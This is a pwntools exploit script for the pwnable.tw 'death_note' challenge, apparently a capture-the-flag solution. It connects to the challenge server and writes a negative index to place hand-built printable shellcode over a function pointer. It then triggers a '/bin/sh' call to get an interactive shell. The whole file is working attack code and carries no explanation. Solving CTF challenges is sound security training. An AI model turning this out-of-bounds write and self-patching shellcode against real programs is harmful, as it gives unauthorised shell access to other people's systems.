from pwn import *
#context.arch = "amd64"
p = remote("chall.pwnable.tw",10201)
#p = process("./death_note")

def add(idx,name):
    p.sendlineafter("Your choice :","1")
    p.sendlineafter("Index :",str(idx))
    p.sendlineafter("Name :",str(name))

def show(idx):
    p.sendlineafter("Your choice :","2")
    p.sendlineafter("Index :",str(idx))

def delete(idx):
    p.sendlineafter("Your choice :","3")
    p.sendlineafter("Index :",str(idx))

def exit():
    p.sendlineafter("Your choice :","4")

shellcode = asm("pop ebp;pop ebx;push 0x7e;pop eax;inc eax;inc eax;xor [ebx+0x2a],eax;xor [ebx+0x2b],eax;push ecx;pop eax;inc eax;inc eax;inc eax;inc eax;inc eax;inc eax;inc eax;inc eax;inc eax;inc eax;inc eax;")
#shellcode = asm("pop ebp;pop ebx;pop eax;inc eax;inc eax;inc eax;inc eax;inc eax;inc eax;inc eax;inc eax;inc eax; push 0x7e;pop edx;inc edx;inc edx;xor [ebx+0x2b],edx;xor [ebx+0x2c],edx;pop edx;pop edx;pop edx;pop edx;")
add(0,"/bin/sh\x00")
add(-19,shellcode + "M")
#gdb.attach(p)
delete(0)
p.interactive()
